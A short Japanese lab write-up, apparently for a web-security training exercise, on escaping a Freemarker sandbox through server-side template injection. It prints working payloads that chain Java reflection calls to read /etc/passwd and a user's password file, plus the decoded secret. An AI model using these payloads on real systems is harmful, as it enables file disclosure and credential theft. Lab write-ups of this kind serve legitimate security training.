Hello there, ('ω')ノ
サンドボックス環境でのサーバ側のテンプレートインジェクションを。
このラボでは、Freemarkerテンプレートエンジンを使用していて。
サンドボックスの実装が不十分なため。
サーバー側のテンプレートインジェクションに対して脆弱で。
まずは、ログインして。
簡単なペイロードを挿入して動作確認を。
<p>Hello ${4*5}</p>
${product.stock}という文字列からJavaのドキュメントを確認しながら。
オブジェクトで使用できるメソッドを見つけていって。
https://docs.oracle.com/javase/jp/8/docs/api/java/lang/Object.html
https://docs.oracle.com/javase/jp/8/docs/api/java/lang/Class.html
ここまでJavaの古いバージョンを見ていたので、SDK 9に切り替えて。
ここで寄り道して、下記のチートシートからペイロードを取得して。
https://blog.cobalt.io/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68
下記を実行すると、passwdファイルが読み取れることが確認できたので。
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}
目的のcarlosのファイルを指定すると。
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join("
")}
ファイルの内容が10進数のASCIIコードとして表示されて。
121 112 119 110 107 98 101 113 98 104 105 103 108 52 114 102 54 98 98 57
返されたバイトを下記でASCIIに変換して。
変換されたコードを入力すると。
ypwnkbeqbhigl4rf6bb9
クリアできた。
ちなみに、下記に変更すると"."で結合されて。
join(".")
Best regards, (^^ゞ